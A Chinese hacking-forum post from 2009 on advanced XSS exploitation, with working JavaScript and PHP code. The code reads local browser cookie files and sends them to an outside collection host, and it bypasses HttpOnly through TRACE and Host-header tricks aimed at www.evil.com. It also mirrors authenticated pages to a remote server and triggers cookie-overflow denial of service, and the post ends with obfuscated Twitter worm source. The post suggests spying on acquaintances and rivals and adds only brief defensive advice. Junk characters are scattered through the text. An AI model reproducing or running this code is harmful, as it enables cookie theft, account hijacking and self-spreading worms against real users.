XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页" \, M& i+ c9 U5 x. M0 l2 Q
本帖最后由 racle 于 2009-5-30 09:19 编辑
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4 P4 j4 z7 o+ E3 |XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
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0 B' Y, ?6 H: t$ [-------------------------------------------前言---------------------------------------------------------7 F8 V# ^, j% ?
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.( F2 @' h; H6 v$ l
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# v, A; x. Y# _& }! z( ^如果你还未具备基础XSS知识,以下几个文章建议拜读:1 a, I4 O+ {5 e
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介& O) v8 t/ t3 O2 a
http://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全1 c. o, J! v3 I5 T
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
- \; ]0 u# j* h# ehttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持
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' b7 T* K4 A7 V5 }1 S' T如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
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希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.% [" N: E1 w' l2 j
8 o" p# y \/ E3 \4 z6 v如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,7 N2 x, J1 j3 a* S4 e
) f. {8 Y H* f, y+ G. eBaidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大
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OWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪6 v' |9 r. I: g. w; I: f
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复制代码------------------------------------------介绍-------------------------------------------------------------8 T$ e( X# z A' `; ~
8 a/ F, O) C ^什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
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. N1 M/ i0 ^. x+ e6 L) ?如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
: t$ Z8 ]) u& ]复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
& i5 Y/ I3 s- K' r我们在这里重点探讨以下几个问题:
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1 通过XSS,我们能实现什么?0 j, D3 ~* C$ ?/ s4 f
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?0 n* v( g# N$ q
- u- w6 y9 B$ \$ q3 XSS的高级利用和高级综合型XSS蠕虫的可行性?
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% w4 _ o+ _$ x* l0 o0 ~4 XSS漏洞在输出和输入两个方面怎么才能避免.
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------------------------------------------研究正题----------------------------------------------------------
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通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.5 c5 g% b) ^: A M
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
# Z6 e0 E3 D' |1 e复制代码XSS漏洞在输出和输入两个方面怎么才能避免.5 ?2 Q {" S( o. g5 @, I
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
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3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.2 B5 m- M1 {6 x6 ^, H2 m5 C
4:Http-only可以采用作为COOKIES保护方式之一.
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(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)+ E( T" V4 T1 c N0 `4 h- D
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。+ R( f0 h- U C" T
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4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
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3 r3 ~3 [1 `4 S. b function $(x){return document.getElementById(x)}
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function ajax_obj(){; r: a' U+ B9 x+ l$ ?1 w
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var request = false;
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request = new XMLHttpRequest();) z" @# z" j* A8 F* e
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} else if(window.ActiveXObject) {
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request = new ActiveXObject(versions);- I8 m* v6 s$ U! `+ a a1 \
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} catch(e) {}
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function _7or3(_m,action,argv){
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_x.send(argv);$ b4 b5 _* q' ? I7 z0 d1 J
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}
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var txt=_7or3("GET","file://localhost/C:/11.txt",null);
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alert(txt);
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</script>
$ J8 E7 A8 e! g1 b" m# `% k复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>
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var request = false;
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request = new XMLHttpRequest();; V( P% d0 F! J' |5 H! W
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try {
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} catch(e) {}; D* o1 k% D9 v: \! c v4 M
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return request;* k& m) C, X2 d; p1 j, x* H) P
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_x.open(_m,action,false);& e1 r1 ?0 X/ M( X( S3 s
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if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
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_x.send(argv);7 ]& u g7 C X; J
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}
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var txt=_7or3("GET","1/11.txt",null);( |. d- ~0 }. w* X% \
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</script>. U7 s) ^' n9 \; ^' H/ a3 ]
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”+ m1 K4 C- x' D3 K' }9 c
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& y, s9 B% \: \Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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<? 5 ~# m) v @6 R* |; o1 o
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/*
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Chrome 1.0.154.53 use ajax read local txt file and upload exp
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www.inbreak.net
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4 n6 z0 T" S$ ^0 ~1 c4 C author voidloafer@gmail.com 2009-4-22 8 X n& t& x2 j5 V
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http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save. , a" z# W& G6 _/ [ g
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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/*
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set header, so just download html file,and open it at local. + g, D# c1 @& i1 K
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*/
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<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">
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+ c1 }6 L1 N9 q' D <input id="input" name="cookie" value="" type="hidden"> 4 f: D" Q' c% F+ G/ P
& Y2 K7 C9 V2 U( E0 m8 S</form> ) a2 ~% J1 t9 @* w
% M( p W) D! T; c& k<script> + I% l: _" V1 N- Z( L& r
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function doMyAjax(user) 3 J+ ?' _+ n! u) `: S. i2 a
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var time = Math.random();
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/*
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- {- N: B W8 Z) G- z4 Y- Q8 P0 ~the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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and so on...
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*/
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var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 2 ^* v5 J$ B! _1 t, P
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, i [, M; G& }! k0 YstartRequest(strPer);
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/ E2 k' \$ v! u6 Tfunction Enshellcode(txt)
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{
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var url=new String(txt); 9 r6 u4 m; I3 I1 T J
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var i=0,l=0,k=0,curl=""; M2 ?4 D/ H$ C) Z& ^, W+ L* @
/ q$ ^* u2 w$ A& Y9 M3 Ql= url.length; 4 m1 y5 U' H# W
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for(;i<l;i++){
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) l/ z) h) X& E( _% wk=url.charCodeAt(i); 7 P, f" @ z; T8 P" r
4 V0 @ u4 l) @: t- yif(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);} 9 l, {( H9 e |+ V! d/ P
- D3 y- K: o& J$ |; T6 {. O# f
if (l%2){curl+="00";}else{curl+="0000";} % D0 m8 g3 {' G! l
; e. B, a2 D) O% _curl=curl.replace(/(..)(..)/g,"%u$2$1"); / D; u K2 e1 x# x5 ]1 C
' \4 W) q' T2 j0 T0 L+ rreturn curl; * |* U* T" C( S' Q
" }3 Q7 R; I1 K* y0 j# o
}
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J9 b7 s/ w8 r$ J9 } ( K4 m: q- u2 Q" M8 q7 G2 d0 ^$ }
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var xmlHttp;
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function createXMLHttp(){
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; y, [7 P$ m, V if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
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} ' ~/ z8 D9 K0 C* M/ Q" W6 ]1 t9 j
, n* N1 w" G/ t4 m% E3 G$ q* Q else if(window.ActiveXObject){ 9 h/ E+ P( w; R: @0 d# T7 d/ Y
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xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# Y" M4 H6 ~) T. c/ |6 V1 E; O$ v+ Z! Q, C" l7 F/ T/ x
} 7 [2 @0 {! M* s# W; x$ |4 {
4 B- ^8 s$ x H. o/ S! N8 E! W}
9 r2 h) i0 m; n) b6 {+ @ ?+ B% ^. i1 X/ _) n: }! n0 Q
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+ T. L( g" U; O6 w/ hfunction startRequest(doUrl){
9 L2 r& w# ^) k" W5 y! h
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2 a s% h H/ d; G- o. ]2 _( S9 i- R0 h) {7 y
createXMLHttp(); " Z3 g! W" e$ k! N. y( q6 _
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xmlHttp.onreadystatechange = handleStateChange;
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xmlHttp.open("GET", doUrl, true); ) d! w4 T+ J* ?/ Y$ R8 T
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xmlHttp.send(null);
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, F, p' {9 ~" o1 J& z
}
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" B! U \! G8 U+ H& z7 `; [1 ^% W4 r9 T+ K9 C( a7 Q7 Y
function handleStateChange(){
! p7 F, g, y' M/ X! o0 j1 \' t b. W3 C5 |0 e
if (xmlHttp.readyState == 4 ){ ) L" S( r7 G& Q: j# ]
- ? s3 M* P+ Y: s/ i
var strResponse = "";
$ |8 I! ` O& L; R# U3 ]+ e1 F( |4 _* s. A0 @. Z! |, U) O0 V' S
setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);
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8 }0 r0 ]- W' ~; O
} 2 S5 G! m3 ? B0 m) W5 ~6 l
; B# V. q" Z: E
9 `! i. a# t/ X
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function framekxlzxPost(text) `) P# c! h3 u$ @5 w0 ~
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document.getElementById("input").value = Enshellcode(text); 3 B% K% n2 m3 s$ k% ^ ?( _
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document.getElementById("form").submit(); 2 j8 K' {! _& N' a M
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} 3 \& f; H4 i9 c1 H) w4 A. R9 Z3 Q
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8 q4 v# q, e0 s! S9 p
doMyAjax("administrator");
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</script>
. ?8 U+ H; x, ^, r复制代码opera 9.52使用ajax读取本地COOKIES文件<script> ' n) l' T# `- P9 ~1 N( V( q8 o
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var xmlHttp;
& p9 J8 I- ^, {, C0 ]
6 a* U, r6 ~% ~" `5 y8 U1 Y8 ifunction createXMLHttp(){ : U R; j$ h/ W* P. x' K' _, p
) W' T* g8 W* }- {6 B% z
if(window.XMLHttpRequest){
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xmlHttp = new XMLHttpRequest();
8 w) Z+ k2 U( P' r' ]9 {$ H. R0 n/ e# }7 j! j0 [
} ! B: A/ u- }+ L& S; H# X
7 P+ B' R4 o' q/ G else if(window.ActiveXObject){
5 m* X, A6 J3 v( ?1 X; N! Q6 d5 G# ~- Q% }! P3 s+ t7 a
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); ) Z/ a# ?+ [ N$ P3 n, c
|! v: w6 H5 w# L } 0 L" H0 e. v/ v; I2 `
7 j) e7 y1 c0 f: N; [: c} * l; c K9 p( Q t/ ~- k
3 u4 X/ _4 v: G6 N: z
+ t# U0 R4 S. Y& p1 z5 d* b& f9 a
3 `* p2 c2 Z; R6 Bfunction startRequest(doUrl){
; P1 ^3 L! p5 Q& s1 U' }3 v
1 [1 A m% ~, I5 Y* o 3 H) ?. o6 x+ j8 y* `
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createXMLHttp();
8 H2 T# i# _, t
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' P4 N$ J8 b# s! x$ a9 B% q3 g" E: A! x+ N
xmlHttp.onreadystatechange = handleStateChange;
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+ S4 f5 J+ A) v1 Q( D xmlHttp.open("GET", doUrl, true); + M! o6 f3 B. O" I; g: F. `: p
8 p5 j; n# D) `1 v: G& o & F5 e3 W7 f1 f
2 [3 y9 x# M" R8 B$ k( V" M" g xmlHttp.send(null); ; A+ g. q- P: n6 J7 U a
% \ P" f7 l* H3 N % X, C1 t. Z( x+ l
" c7 \/ h# ~$ \
! H% i- o4 M' |
- {3 m$ Y, y7 u! E h! O}
4 G8 K$ H6 d1 p& q: R" d p8 X+ d4 S
; l# w# U. ]3 F. K; N
. A* a) m/ \) U
: p& J3 e6 P$ k5 L' Xfunction handleStateChange(){
" n+ U6 A1 [7 X" ^" H l1 m0 A0 @1 z" L$ n% z) u" |8 O) R, z: [
if (xmlHttp.readyState == 4 ){ ) }- T9 F) n+ L) f: ~5 O
4 C+ |0 u1 y& }7 B8 x
var strResponse = "";
$ X+ F5 W; k. N( F% `: N, C% }- l0 H) \/ F) R1 [, c2 E t
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);
4 z, Y- u8 r" k) a: B
6 ~; V# Y' G6 i f2 d; | % L' [0 j2 Q% I/ G) g
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} 4 q2 m+ v5 i- ~; a$ ]
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# @, ?3 L) I# x2 r5 Z2 |5 D9 w $ J# w7 a D* J% _5 S
4 J2 i! e$ \' Q) I# Y8 d3 vfunction doMyAjax(user,file) ) p) q, N/ g, `
2 I8 I9 w% o' t5 o9 W+ p W{
# S6 H' C: R' R X
) K7 o# _; m; I1 h% k var time = Math.random(); " J* a' s: V& W
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8 ] z/ T7 S6 j
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var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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1 L7 h/ }. Z* a0 i+ L/ W. N8 Y. l/ R6 v/ w. X
startRequest(strPer);
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& ~, E0 P% w+ E. Q/ Z1 r+ Q* W- Q
- o. i; B C N) F/ \}
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{; B# @! @1 J8 d- M3 t
& T5 `- Y( r h# n8 g' rfunction framekxlzxPost(text)
, E6 L4 Z# V) [" s
9 i$ ~, }: E) [" _ K9 a$ T; f{
, e! @; |( j7 a7 S* b6 W) x+ d! }8 H5 Z3 F3 y7 L% }7 A
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);
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3 `6 r2 c; E4 V+ @* d, o alert(/ok/); & q# u" `5 x9 W
3 ~- {( b. c* [/ E" r& g# o}
2 _ A! i/ P( d; x* y6 s# B) z# \1 ]& U' R* e8 \
* L" T2 |! ]2 U3 i( d* i3 w' o$ ^7 P% l! V! l
doMyAjax('administrator','administrator@alibaba[1].txt'); " M W% h$ g' ?. K/ C
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' z3 P0 R" H0 N# A. @, s3 t
! \! d" ~- G8 o0 K$ o</script>1 }* g; N: ]4 q( {/ F
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1 X/ }* ]+ f8 x) W% }, _& `/ G
" K3 f w- o; l& o( Ma.php
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. N: ?4 N% H2 }/ l2 V4 w/ X& D. c& N; X
2 M" G+ f! m& D9 D! N* m<?php / b5 @. J. I) E2 {+ T4 B) {% ~% o
" |0 K% g0 n. p6 Y- D
9 X9 x# T0 s, s# H, [
+ N- H! ~( X/ f$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
$ P$ ~! Z+ ^# a" U0 ^5 ]/ s! M3 y8 x* \$ J6 l0 q" ?$ S
$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
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a* z! z2 O' M/ t4 W3 S2 D$ i
1 q4 n# E6 l* F6 c7 O$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb"); ! h- I# ?7 n" u- x8 X" S9 |3 D" V- R9 [
: r% E! _7 I2 j( v; i$ wfwrite($fp,$_GET["cookie"]); , [3 o" w1 [+ F# r. s! z
8 d# g. S- I& a9 o. {; P/ S7 U/ H
fclose($fp); $ R1 x6 f) X+ U% W M. }8 A
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复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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- m/ p' } F5 t0 W* Z或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.2 r4 P: h- ?& C W
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
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- p: X! K5 _) P代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false); e: \+ w5 @; ^0 M7 k
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);
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//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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function getURL(s) {
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" e) b# I. t# qvar image = new Image();
4 C! d2 X* ?! r2 z8 b/ ?1 B A$ O/ o3 j5 I) c/ d4 u0 D
image.style.width = 0;
" x8 {% }3 b. _; z; Z/ k( R5 m" d; Y9 E; ]% A. B3 P0 {# a
image.style.height = 0;+ \$ S s0 d8 ]% _7 v9 D
* [2 s% C' |) }- h" G$ l5 aimage.src = s;8 D" h, W* W3 j
1 S) ]/ m* v; t5 d# S* ?% x6 {9 @}9 k9 [/ ~8 G+ n" p: W! p( s
0 Q# t# n7 Y- s& I2 ZgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);" ^# W8 ?; B' N& d( G6 D
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
0 ~/ J$ x+ y6 M* y这里引用大风的一段简单代码:<script language="javascript">
# L& t$ G$ c. B. v. `* n6 B
& e: n4 v. J6 c1 Dvar metastr = "AAAAAAAAAA"; // 10 A
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var str = "";7 P$ q+ z3 |) ^7 ?1 a# Q1 c9 h" Q3 t
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while (str.length < 4000){5 b. _+ P" |0 d+ D' e, |8 l8 i
, X" R) ^5 _. p6 |0 t# }4 b4 h
str += metastr;- O2 r$ C; b7 n& a `
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}
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" |# n5 [" ~, I+ M* H: K$ w1 T" q
: z T" K3 I6 w& A( Bdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS
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</script>
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详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
& @( S, t3 J& f) L1 N- r$ c1 w复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
7 l( p; D }! Z' Nserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150/ E+ G7 J% I0 R4 O
: m. v$ a0 U) \7 J假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
: b& ^/ i9 p4 P3 w: b+ ^% c攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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" f/ S- X) S5 H3 P5 e: q4 p(III) Http only bypass 与 补救对策:, G# E3 d6 a; w' A- r! I
+ |9 g# Q! [$ i& ^- `) a4 V什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie." s6 v3 A- ~6 u2 L
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
/ k: c- N3 @ j! q$ z- t& O" Y
7 L# |* A6 A: k<!--
* i! `, S* ]+ l
6 b( r3 R% U8 i- e$ Pfunction normalCookie() {
1 ]) d" N1 e, ?0 s. {
& k6 |& q; K9 [8 Wdocument.cookie = "TheCookieName=CookieValue_httpOnly"; ! [% |3 d% r- G
. R6 x [2 x6 B+ U1 \3 V! V
alert(document.cookie);
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U) [+ h' V% T! }6 S+ n6 z0 x: E- s: ?4 v6 T0 C$ }. Z0 p: r |6 [& g ]4 K
function httpOnlyCookie() { : S- N0 C1 ]; @; Y- W
/ h0 m( t' h( P5 w0 qdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
. x% n! T- b) ` N+ f9 Z5 K0 q& c. U( F8 Z& r
alert(document.cookie);}9 N7 c' W% o+ u% D! g$ r1 w) F
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3 m3 P5 I8 H$ Y5 K
</script>- F8 d6 ?! N0 y5 y
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+ L1 v6 t8 _ B' J. u3 j/ M) A
. K* \9 V$ n. I4 e<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>( |2 h: Q J, }3 l6 R
' C; @% w$ J& I1 z% `! V
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
; T" B0 H1 z: B E* \* e9 `复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>( w- R( ^1 H. \! ?" H
0 j& Q6 r3 u1 S- F2 X
* ?7 h+ P+ [" U# J8 T/ E: U
# b0 K( o) e( ~2 s lvar request = false;8 D% N, R# O7 q
2 {; z* S: Z& i0 x if(window.XMLHttpRequest) {
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) m9 E i8 E7 ~$ _, E! G request = new XMLHttpRequest();
8 M, F2 ]) ` F1 r$ z0 Q! @
. D- Q4 N( T" R+ Y9 k$ b if(request.overrideMimeType) {1 m' ]! y, m, e+ E/ F
, i) ~+ Y% H3 R0 Z( L% l6 y* B request.overrideMimeType('text/xml');# O% m' v/ [$ B( ~, `* v. N
m% ^" E: Q8 F, g/ u }! O* Z9 p; u) `! A1 e. z9 o! U
1 h' R$ E' O: ~9 K( | } else if(window.ActiveXObject) {/ ?6 K) q) K8 K1 t& Z& V" \' s4 T
% ]% P- l9 ]9 @7 M+ Y: g. w var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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" s1 p; X) }; ~; B+ Q& | for(var i=0; i<versions.length; i++) {
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* j; _0 m- v% K9 m" R try {
% H- |9 ^0 E4 m8 `- r0 k. R+ [/ G7 ^7 N( z
request = new ActiveXObject(versions);
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% t o# @! Z+ p. g) [ } catch(e) {}
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}
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xmlHttp=request;
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' _" a6 e- S. K E) {2 \- ~) B. [xmlHttp.open("TRACE","http://www.vul.com",false);
% K4 [, O/ e) b$ ~0 _0 `9 N) T. r5 K6 A0 g. F `2 \2 x& ]1 C; j
xmlHttp.send(null);1 W, M9 h/ t& s/ A8 ?; ?0 H2 T1 f
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xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);/ s+ s7 p3 Q% M1 H$ @7 b
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</script>
4 o( s" x- ~' ^) _- \. p5 ^4 j复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
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) ?* W5 e- F; H' t9 rvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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/ ?& D6 n2 X' Z3 U" Y- I: i* PXmlHttp.open("GET","http://www.google.com",false);* [ l+ K4 ?6 Y5 ^
+ m1 A& O9 _9 ]* N
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");7 X) h2 t/ m' b" j$ K* E# T
' y3 E0 d9 f0 `+ j$ m1 `XmlHttp.send(null);4 i0 S! T! Q* E, I0 u; U9 x+ ]: ]
0 |5 k* d5 C3 ~! B; F4 B8 B6 |var resource=xmlHttp.responseText
9 L. Q, H' Q' J n. n( u2 S' _6 @
$ `9 b+ v. D' ?" o( C1 xresource.search(/cookies/);
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0 p5 e* J$ G* a; g9 l( s...................... E; X7 ~. D: D4 m
b, T# i0 q4 I</script>
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# X9 V1 k: c4 c% S' o' W+ E$ j& J5 Y+ U4 t
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求: r1 I% L, K, l2 i
+ C* A" h' K* Y. {9 M[code]
+ M4 Y: S2 @/ e. z
) G% Q3 y ~: ]8 _. n# R) lRewriteEngine On
( C% |) c' h* [9 X% O
( r; [ V. C8 }7 LRewriteCond %{REQUEST_METHOD} ^TRACE8 q6 a4 p+ X; y0 Z
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RewriteRule .* - [F]- x& p. u" a+ R' Z. U( B) X3 g
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: B+ j# C2 _7 d& ^! A& ?$ }/ }Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
`. N" Y# F. J7 n
2 s1 C/ [ C) _acl TRACE method TRACE6 d3 Z' L9 Y" P
' X: {+ j! z h...
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http_access deny TRACE
' A/ [$ Z( J9 h2 H8 \复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
4 c5 R' S8 y$ f$ Y1 \3 Y2 ?0 w( R9 c; r1 R) H7 Q! ^ c- I: w# ~
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# a7 g8 A6 c. H0 g8 r. x
5 G2 y! F0 T# t7 N1 I0 LXmlHttp.open("GET","http://www.google.com",false);5 a7 {6 k k+ A: L) Q% U
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");+ Q# d# l' x) L' y" S; a
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XmlHttp.send(null);" i! `2 H9 R# x
) w; e5 e* Y( h( g' f# w* `</script>
. Q+ i2 N. `3 }复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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0 s2 K: \4 S2 `1 kvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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1 U, I/ v$ w9 R9 b' O; D0 @XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);7 u( u4 D' j5 ^6 a" L- j
& o" e9 Z- J- V. B6 qXmlHttp.send(null);
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/ \; e; t/ {# g8 [5 y0 ?<script>
3 s6 n& @# f0 }9 \复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.) s4 b) Y% {( B y0 V9 b, @: X
复制代码案例:Twitter 蠕蟲五度發威
# }9 P1 ]& C- c9 Z: n) I第一版:
4 c% _ b4 i' ^( ? 下载 (5.1 KB)
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6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""]; " p5 g2 l- ~7 k T( w# m% A
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3 i( z2 H, v; H 3. function XHConn(){ 3 s! `7 c" S2 T# n" l6 i1 Q
